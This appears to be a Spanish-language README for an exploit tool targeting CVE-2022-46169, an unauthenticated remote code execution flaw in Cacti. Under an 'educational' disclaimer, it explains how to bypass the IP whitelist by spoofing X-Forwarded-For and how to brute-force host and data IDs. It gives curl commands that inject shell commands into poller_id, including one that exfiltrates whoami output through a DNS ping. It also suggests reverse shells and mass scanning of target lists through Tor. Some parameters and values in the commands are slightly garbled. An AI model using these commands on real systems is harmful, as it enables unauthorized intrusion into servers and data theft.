
CVE-2022-46169 - Cacti Ejecución remota de código ciega (Pre-Auth)
Cacti Ejecución Remota de Código Ciega (Pre-Autenticación)
Esto es solo con fines educativos. No soy responsable de tus acciones. Úsalo bajo tu propio criterio.
Este script realiza fuerza bruta en las variables necesarias para explotar esta vulnerabilidad. Este exploit requiere las siguientes 3 variables:
host_id correctolocal_data_ids correctoEl archivo remote_agent.php está protegido por una lista blanca de IP. Puedes omitir esto falsificando tu dirección IP en el encabezado X-Forwarded-IP. La mayoría de las instancias tendrán 127.0.0.1 o la propia dirección IP del servidor en la lista blanca.
A continuación, debes hacer fuerza bruta en los parámetros de solicitud host_id y . Esto se hace enumerando pares de enteros desde un valor mínimo predeterminado de 1 y un valor máximo de 10.
local_data_idsx,yEjemplo de Solicitud
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
Después de haber obtenido estas 3 variables, puedes inyectar un comando de shell en la clave poller_id y escaparlo poniendo un ; antes de tu comando.
Esto es un RCE ciego, por lo que necesitas enviar la salida de tu comando a algún lugar como interact.sh o abrir una reverse shell. ¡Recuerda codificar la URL del valor poller_id!
El siguiente comando ejecuta ping $(whoami).test.com
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
El script genera en formato CSV. Los encabezados son "target", "ip", "host_id", "data_id", "url".
Si el valor url falta, significa que el script pudo evitar la restricción de IP pero no logró hacer fuerza bruta en los IDs. Puedes tomar esta salida y establecer un valor máximo más alto para intentarlo de nuevo.
Puedes usar los siguientes comandos para procesar rápidamente el archivo de salida
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv